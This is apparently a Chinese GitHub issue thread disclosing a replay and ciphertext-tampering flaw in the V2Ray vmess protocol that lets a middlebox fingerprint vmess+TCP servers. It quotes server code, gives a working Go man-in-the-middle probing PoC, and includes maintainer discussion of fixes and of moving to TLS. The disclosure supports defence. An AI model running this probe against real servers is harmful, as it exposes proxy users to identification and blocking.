vmess协议设计和实现缺陷可导致服务器遭到主动探测特征识别(附PoC)

[p4gefau1t]

Update： 我们构造出了更具杀伤性的PoC，仅需16次探测即可准确判定vmess服务，误报可能性几乎为0，校验的缓解措施均无效。唯一的解决方案是禁用vmess或者重新设计协议。我们决定提高issue的严重性等级。

Update：v4.23.4及以后已经采取随机读取多个字节的方式阻止P的侧信道泄漏，目前下面的PoC（16次探测）以及概率探测（暴力发包探测）的PoC已经失效，无法准确探测vmess服务。但是，由于这是协议设计层面的问题，彻底解决问题需要引入AEAD等无法向下兼容的设计。好消息是，这一缓解可以为我们讨论制订新协议争取非常多的时间。vmess+tcp的组合仍然存在一定风险，不建议使用。

---

先说结论：开启了tcp+vmess的服务端，在和客户端进行通讯时，攻击者可以通过重放攻击的方式准确判定是否为vmess服务。

这个缺陷的利用基于重放攻击和密文填充攻击，需要以下条件（经过讨论，结合之前ss遭到的重放攻击，我们认为对于GFW来说，此条件并不苛刻）：

1. 攻击者可以进行中间人攻击，捕获vmess的TCP流前16 + 38字节。

2. 攻击者可以在30秒内据此发送16个探测包

目前的缓解方案均可以被绕过，唯一解决方案是修改协议实现 。

个人认为，最好的解决方案是采用gcm等具有认证能力的aead加密模式对指令部分进行加密，而不是cfb。这和现有vmess设计冲突且无法向下兼容，可能需要重新设计vmess协议。

mkcp+vmess和tls+vmess等底层传输不使用tcp的组合不受此问题直接影响，但有可能收到波及。

下面是分析和PoC

---

鉴于近期vmess协议遭到封锁的情况较为严重，因此研究了一下vmess的协议设计和实现，发现服务端一个实现缺陷导致的特征，可以利用主动探测，区分vmess服务与其他服务。

vmess的协议的设计和实现缺陷

这是vmess的客户端请求格式。

16 字节	X 字节	余下部分
认证信息	指令部分	数据部分

前16字节为认证信息，内容为和时间、用户ID相关的散列值。根据协议设计，每个16字节的认证信息auth的有效期只有30秒。

问题出在指令部分。指令部分使用了没有认证能力的aes-cfb方式，因此攻击者可以篡改其中内容，而仍然能被服务器接受。

1 字节	16 字节	16 字节	1 字节	1 字节	4 位	4 位	1 字节	1 字节	2 字节	1 字节	N 字节	P 字节	4 字节
版本号 Ver	数据加密 IV	数据加密 Key	响应认证 V	选项 Opt	余量 P	加密方式 Sec	保留	指令 Cmd	端口 Port	地址类型 T	地址 A	随机值	校验 F

我们对照代码来看，v2ray服务端的vmess解析代码如下：

v2ray-core/proxy/vmess/encoding/server.go

Lines 124 to 209 in 4b81ba9

	func (s *ServerSession) DecodeRequestHeader(reader io.Reader) (*protocol.RequestHeader, error) {
	buffer := buf.New()
	defer buffer.Release()
	if _, err := buffer.ReadFullFrom(reader, protocol.IDBytesLen); err != nil {
	return nil, newError("failed to read request header").Base(err)
	}
	user, timestamp, valid := s.userValidator.Get(buffer.Bytes())
	if !valid {
	return nil, newError("invalid user")
	}
	iv := hashTimestamp(md5.New(), timestamp)
	vmessAccount := user.Account.(*vmess.MemoryAccount)
	aesStream := crypto.NewAesDecryptionStream(vmessAccount.ID.CmdKey(), iv[:])
	decryptor := crypto.NewCryptionReader(aesStream, reader)
	buffer.Clear()
	if _, err := buffer.ReadFullFrom(decryptor, 38); err != nil {
	return nil, newError("failed to read request header").Base(err)
	}
	request := &protocol.RequestHeader{
	User: user,
	Version: buffer.Byte(0),
	}
	copy(s.requestBodyIV[:], buffer.BytesRange(1, 17)) // 16 bytes
	copy(s.requestBodyKey[:], buffer.BytesRange(17, 33)) // 16 bytes
	var sid sessionId
	copy(sid.user[:], vmessAccount.ID.Bytes())
	sid.key = s.requestBodyKey
	sid.nonce = s.requestBodyIV
	if !s.sessionHistory.addIfNotExits(sid) {
	return nil, newError("duplicated session id, possibly under replay attack")
	}
	s.responseHeader = buffer.Byte(33) // 1 byte
	request.Option = bitmask.Byte(buffer.Byte(34)) // 1 byte
	padingLen := int(buffer.Byte(35) >> 4)
	request.Security = parseSecurityType(buffer.Byte(35) & 0x0F)
	// 1 bytes reserved
	request.Command = protocol.RequestCommand(buffer.Byte(37))
	switch request.Command {
	case protocol.RequestCommandMux:
	request.Address = net.DomainAddress("v1.mux.cool")
	request.Port = 0
	case protocol.RequestCommandTCP, protocol.RequestCommandUDP:
	if addr, port, err := addrParser.ReadAddressPort(buffer, decryptor); err == nil {
	request.Address = addr
	request.Port = port
	}
	}
	if padingLen > 0 {
	if _, err := buffer.ReadFullFrom(decryptor, int32(padingLen)); err != nil {
	return nil, newError("failed to read padding").Base(err)
	}
	}
	if _, err := buffer.ReadFullFrom(decryptor, 4); err != nil {
	return nil, newError("failed to read checksum").Base(err)
	}
	fnv1a := fnv.New32a()
	common.Must2(fnv1a.Write(buffer.BytesTo(-4)))
	actualHash := fnv1a.Sum32()
	expectedHash := binary.BigEndian.Uint32(buffer.BytesFrom(-4))
	if actualHash != expectedHash {
	return nil, newError("invalid auth")
	}
	if request.Address == nil {
	return nil, newError("invalid remote address")
	}
	if request.Security == protocol.SecurityType_UNKNOWN || request.Security == protocol.SecurityType_AUTO {
	return nil, newError("unknown security type: ", request.Security)
	}
	return request, nil
	}

可以看到，前16字节的认证信息可以被重复使用，并且只要通过认证，执行流即可进行到140行，初始化aes密钥流。接着在144行处，服务端在没有经过任何认证的情况下，读入38字节的密文，并使用aes-cfb进行解密，在没有进行任何校验的情况下，将其中版本号，余量P，加密方式等信息，直接填入结构体中。

这里问题已经很明显了，攻击者只需要得知16字节的认证信息，就可以在30秒内反复修改这38字节的信息进行反复的重放攻击/密文填充攻击。

aes本身可以抵抗已知明文攻击，因此安全性方面基本没有问题。出现问题的是余量P。我猜想设计者应该是为了避免包的长度特征而引入这个字段，但是读入余量的方式出现了问题：

此处代码实现，在没有校验余量P、加密方式Sec、版本号Ver、指令 Cmd、地址类型T、地址A的情况下，将P直接代入ReadFullFrom中读取P字节（182行）。注意，这里P的范围是2^4=16字节以内。

v2ray-core/proxy/vmess/encoding/server.go

Lines 163 to 198 in 4b81ba9

	s.responseHeader = buffer.Byte(33) // 1 byte
	request.Option = bitmask.Byte(buffer.Byte(34)) // 1 byte
	padingLen := int(buffer.Byte(35) >> 4)
	request.Security = parseSecurityType(buffer.Byte(35) & 0x0F)
	// 1 bytes reserved
	request.Command = protocol.RequestCommand(buffer.Byte(37))
	switch request.Command {
	case protocol.RequestCommandMux:
	request.Address = net.DomainAddress("v1.mux.cool")
	request.Port = 0
	case protocol.RequestCommandTCP, protocol.RequestCommandUDP:
	if addr, port, err := addrParser.ReadAddressPort(buffer, decryptor); err == nil {
	request.Address = addr
	request.Port = port
	}
	}
	if padingLen > 0 {
	if _, err := buffer.ReadFullFrom(decryptor, int32(padingLen)); err != nil {
	return nil, newError("failed to read padding").Base(err)
	}
	}
	if _, err := buffer.ReadFullFrom(decryptor, 4); err != nil {
	return nil, newError("failed to read checksum").Base(err)
	}
	fnv1a := fnv.New32a()
	common.Must2(fnv1a.Write(buffer.BytesTo(-4)))
	actualHash := fnv1a.Sum32()
	expectedHash := binary.BigEndian.Uint32(buffer.BytesFrom(-4))
	if actualHash != expectedHash {
	return nil, newError("invalid auth")
	}

读取P+4字节后，v2ray才会对前面读入的内容进行校验，判断命令部分是否合法。如果不合法，断开连接。

缺陷的利用

Update：这个更强的攻击思路来自@studentmain。

我们假定攻击者已经捕获前16 + 38字节。如何判定该服务是否为vmess呢？

下面是一种攻击载荷构造方法，我们构造这样的流

16 字节	38 字节	M字节
认证信息	恶意修改的指令部分	探测长度

恶意修改的指令部分：

1 字节	16 字节	16 字节	1 字节	1 字节	4 位	4 位	1 字节	1 字节
版本号 Ver	数据加密 IV	数据加密 Key	响应认证 V	选项 Opt	余量 P	加密方式 Sec	保留	指令 Cmd

方法很简单，我们让i从0-16开始枚举，构造探测载荷。Key的最后一个字节赋值为i，用以绕过v2ray防护。P也赋值为i，用以遍历其明文空间。发送了16+38字节后，尝试还能发送几个字节后连接被断开。发送成功的字节数记做M。

发送载荷，累计16次，记录测得的所有M的值。如果M的最大值和最小值差值为16，并且无重复，该服务为vmess服务。否则不是vmess服务。这个检测方式不会漏报，也几乎不会误报。

原理很简单：

1. 由于攻击者拥有前16字节的验证信息，因此可以通过服务端校验。

2. 攻击者修改了key绕过基于nonce的防重放检测。并且，由于修改的是key最后一个字节，cfb加密模式中，由于是同一块的修改，错误不会扩散到P。

3. 攻击者仅修改并枚举P，遍历所有密文空间，解密后的P同样遍历明文空间。也就是说，从0-16的枚举，将得到十六个不同的P值。

4. 服务端读入接下来的地址后，开始期待客户端发送P字节的余量，以及最后4个字节的校验码。于是接下来就会读入P+4个字节，并因为校验和不正确，连接被断开。我们因此可以测得M的值。M的实际值为 目标地址长度+P+4

下面是一个PoC，使用go实现，比较粗糙，见谅：

package main

import (
	"flag"
	"fmt"
	"io"
	"net"
	"sync"
	"time"
)

var listenAddr = flag.String("from", "127.0.0.1:4444", "listen address")
var targetAddr = flag.String("to", "127.0.0.1:4445", "target address")
var multiPass = flag.Bool("multi-pass", false, "test multiple connections")

func mitm(client net.Conn) {
	original := [16 + 38]byte{}
	client.SetReadDeadline(time.Now().Add(time.Second * 5))
	_, err := io.ReadFull(client, original[:])
	if err != nil {
		fmt.Println(err)
		return
	}
	client.SetReadDeadline(time.Time{})
	fmt.Println("auth + command", original)
	isVmess := true
	wg := sync.WaitGroup{}
	wg.Add(0xf + 1)
	minP := 9999
	maxP := -1
	for i := 0; i <= 0xf; i++ {
		weAreFucked := func(encryptedP int) {
			defer wg.Done()

			conn, err := net.Dial("tcp", *targetAddr)
			if err != nil {
				fmt.Println(err)
				isVmess = false
				return
			}
			defer conn.Close()

			attack := [16 + 38]byte{}
			copy(attack[:], original[:])

			attack[16+32] = byte(encryptedP) //last byte of key

			tmp := attack[16+35]
			attack[16+35] = (byte(encryptedP) << 4) | (tmp & 0xf) //guess paddingLen
			n, err := conn.Write(attack[:])
			if err != nil || n != 16+38 {
				fmt.Println(err)
				isVmess = false
				return
			}
			for j := 0; j < 9999; j++ {
				//disable BufferReader's buffering
				time.Sleep(time.Millisecond * 10)

				zero := [1]byte{}
				_, err := conn.Write(zero[:])
				if err != nil {
					if j-1 < minP {
						minP = j - 1
					}
					if j-1 > maxP {
						maxP = j - 1
					}
					fmt.Println("M =", j-1)
					return
				}
			}
		}
		go weAreFucked(i)
	}
	wg.Wait()
	if isVmess && (maxP-minP <= 16) {
		fmt.Println("This is a vmess server")
	} else {
		fmt.Println("This is not a vmess server")
	}
}

func main() {
	flag.Parse()
	l, err := net.Listen("tcp", *listenAddr)
	if err != nil {
		fmt.Println(err)
		return
	}
	for {
		conn, _ := l.Accept()
		conn.(*net.TCPConn).SetNoDelay(true)
		fmt.Println(" ==> Client from:", conn.RemoteAddr().String())
		mitm(conn)

		if !*multiPass {
			break
		}
	}
}

这段PoC使用方法是，开启两个v2ray实例，客户端使用vmess连接本地4444端口，服务端vmess监听本地4445端口。客户端开启1080端口接受socks流量。

使用浏览器向客户端1080发送socks请求，客户端向4444端口发送vmess请求时，PoC模拟中间人攻击，获得16字节的有效认证信息。并且以此向4445端口的服务器发送恶意构造的包，测量N的值。

需要注意的是测量M时，可以使用每个字节Sleep后再发送的方式，使得服务端的BufferReader不工作，以此我们可以测量得到准确的M。

你可以通过--from --to 参数来指定想要监听的地址和想要测试的服务器。可以将--to换成其他服务的地址，如ssh，http，https进行检验。对于vmess服务，将输出This is a vmess server。

[DuckSoft]

简而言之，如果 GFW 怀疑你鸡上有个 vmess + tcp，他抓个包，然后按上面的方法进行重放，在我电脑上实测不用一秒钟你的 vmess + tcp 就被识别了，更别提 GFW 了。希望大家予以重视。

更新：目前服务端基本没有反制措施了，16 个包即可完全确定，基本无误报。重新设计吧。

作为 V2Ray 的下游项目（Qv2ray）维护者之一，我希望 V2Ray 能对自己的协议实现进行充分的安全审计，尽可能避免类似的事情再度发生。

---

ps1:
测试了自用的本地服务器、香港服务器、日本服务器，凡裸 vmess + tcp，瞬间发现。
测试了正常的各种服务如 http、ssh 等，没有误报现象。

ps2:
在本地自建的服务端发现，当遭到主动探测时，日志里面会刷出大量的 invalid auth 信息，这或可成为反制主动探测的一个工具。

ps3:
在这个案例里，似乎，你的 alterId 开的越大反而越不安全。仔细思考。

[p4gefau1t]

参考文章: 为何 shadowsocks 要弃用一次性验证 (OTA)

v2ray在vmess命令部分采用的MAC-then-Encrypt的做法，与当年的ss类似。

[RPRX]

用心了，但我说一个有些离题的愚见

我认为很多人直到2020年都还没有抓住重点：未来的重点方向是tls+ws/h2/h3，将流量隐藏起来，里面才是自创协议。而不是自己研究了一个直接在纯tcp/udp上就多么安全的协议。

tls1.3已经足够安全，且广泛使用，利于隐蔽。其它自创的奇奇怪怪的方案，安全性难以比拟tls不说，不广泛使用，无论怎么设计都容易被针对：就算哪天设计出了密码学上的安全性超越了tls的方案，只有fq的人用，也是分分钟被针对/被机器学习特征，没有任何意义。

所以非基于tls的方案应该被边缘化，比如纯vmess、ss、ssr，不要再做无用功。
在讨论某个协议的安全性时，请先将它套上tls。或者说，干脆设计一个在tls上表现良好的协议。

只需要校验上述 Vmess 字段里的版本号（因为目前只有一种取值），如果发现版本号不正确，直接丢弃该流即可

这一缓解措施不成立，对P的密文的改动只会影响P和Sec。

[rhjdvsgsgks]

tls1.3已经足够安全，且广泛使用，利于隐蔽。其它自创的奇奇怪怪的方案，安全性难以比拟tls不说，不广泛使用，无论怎么设计都容易被针对：就算哪天设计出了密码学上的安全性超越了tls的方案，只有fq的人用，也是分分钟被针对/被机器学习特征，没有任何意义。

所以非基于tls的方案应该被边缘化，比如纯vmess、ss、ssr，不要再做无用功。
在讨论某个协议的安全性时，请先将它套上tls。或者说，干脆设计一个在tls上表现良好的协议。

好像有一些矛盾，如果tls1.3足够安全的话直接传明文或socks再套一层tls都行，那样tls内协议的安全性又有什么意义，所以我反对“在讨论某个协议的安全性时，请先将它套上tls”这句话，其他部分意见保留

[RPRX]

@rhjdvsgsgks
意义是：
1.防机器学习流量分类，如果tls+明文/socks5，墙甚至可以知道你在看youtube
2.利用cloudflare等服务转发流量时，我不一定允许它知道我在干什么

至于那句话，我的意思是，套上tls后就无需考虑类似“vmess协议头特征”、重放攻击等
有tls在外面，基本只需考虑“大流量情况下的特征是否足够混淆”，而不用继续讨论本issue列出的问题

按照意义2，可知利用cloudflare等服务转发流量时，cloudflare等服务显然可以截获下层的vmess+ws，
则套上tls后就无需考虑类似“vmess协议头特征”、重放攻击等不成立。

[RPRX]

按照意义2，可知利用cloudflare等服务转发流量时，cloudflare等服务显然可以截获下层的vmess+ws，
则套上tls后就无需考虑类似“vmess协议头特征”、重放攻击等不成立。

特殊情况下不成立不代表普遍情况下不成立

若利用这些cdn，已经是出于信任，且明知有暴露给cdn服务商的风险
况且若不套tls，则根本就没有这一场景，这算是套tls才有的“扩展用途”

[ActiveIce]

用心了，但我说一个有些离题的愚见

我认为很多人直到2020年都还没有抓住重点：未来的重点方向是tls+ws/h2/h3，将流量隐藏起来，里面才是自创协议。而不是自己研究了一个直接在纯tcp/udp上就多么安全的协议。

tls1.3已经足够安全，且广泛使用，利于隐蔽。其它自创的奇奇怪怪的方案，安全性难以比拟tls不说，不广泛使用，无论怎么设计都容易被针对：就算哪天设计出了密码学上的安全性超越了tls的方案，只有fq的人用，也是分分钟被针对/被机器学习特征，没有任何意义。

所以非基于tls的方案应该被边缘化，比如纯vmess、ss、ssr，不要再做无用功。
在讨论某个协议的安全性时，请先将它套上tls。或者说，干脆设计一个在tls上表现良好的协议。

同意观点。目前单用强加密终究会被学习特征，只有使用和普通上网一样的协议才可以隐匿特征。所以我的意见更为激进

1: 只使用ws+tls/h2/h3的标准实现(能过CDN为准)，其他协议可保留，但仅做为个人用途。
2. 内层数据的协议仍然可使用vmess，或者在未来进行简化或提供自定义设置(如去除内层加密，时间校验等)提高性能。
3. 通过抓包等手段，将该实现除tls外的明文部分和正常浏览器的进行对比。尽量保持和浏览器一致，如果维护成本高或原理上难以实现，那么就应尽量随机以分散特征。

[RPRX]

@ActiveIce
倒不是“单用强加密”，只是长期以来这些协议无论怎么设计，始终是在“创造特征”，而墙早已学会了根据特征来封锁，所以我认为继续这样下去是白费力气，远不如直接用tls的特征，还附带安全性
识别出ss换ssr，又被识别了换vmess，总是想着直接在tcp/udp上设计协议，却没有一个能长久

赞同123的具体做法

[Feature Request] 次世代方案：设计一个基于 TLS 的简单协议 #2526

[RPRX]

@tomac4t
首先，我的确是离题了，但没有那么离谱
用tls+路径分流的情况下，请问如何主动探测？
然后再请你仔细看一下本issue开头描述的场景，再想一下用tls后还是否存在这种问题

如果我理解无误，也就是说：裸vmess协议不再被支持。

@tomac4t
首先，我的确是离题了，但没有那么离谱
用tls+路径分流的情况下，请问如何主动探测？
然后再请你仔细看一下本issue开头描述的场景，再想一下用tls后还是否存在这种问题

[RPRX]

如果我理解无误，也就是说：裸vmess协议不再被支持。

@tomac4t
首先，我的确是离题了，但没有那么离谱
用tls+路径分流的情况下，请问如何主动探测？
然后再请你仔细看一下本issue开头描述的场景，再想一下用tls后还是否存在这种问题

没错，或者说，可以用，但不主张，包括ss和ssr，因为这些都在“创造特征”
况且all in tls之后，基本只需考虑“大流量情况下的特征是否足够混淆”，vmess协议还可以被瘦身，或者重新设计，以获得更好的性能（毕竟不用考虑防一大堆攻击方式了

自己在tcp上设计的协议，注重加密和防各种攻击是少不了的（这部分性能始终要损失），而tls1.3本来就是一种最佳实践（如本issue提到的aead加密改进），所以不如直接用tls以减少特征、减轻心智负担

[ActiveIce]

他意思是纠结这个就是做无用功，我也赞同这一点。无论怎么设计/修复协议，都是画虎不成反类犬，在可见的未来会有新特征被识别。还不如直接用大众协议，并处理tls明文部分特征，才是长久之计。
@tomac4t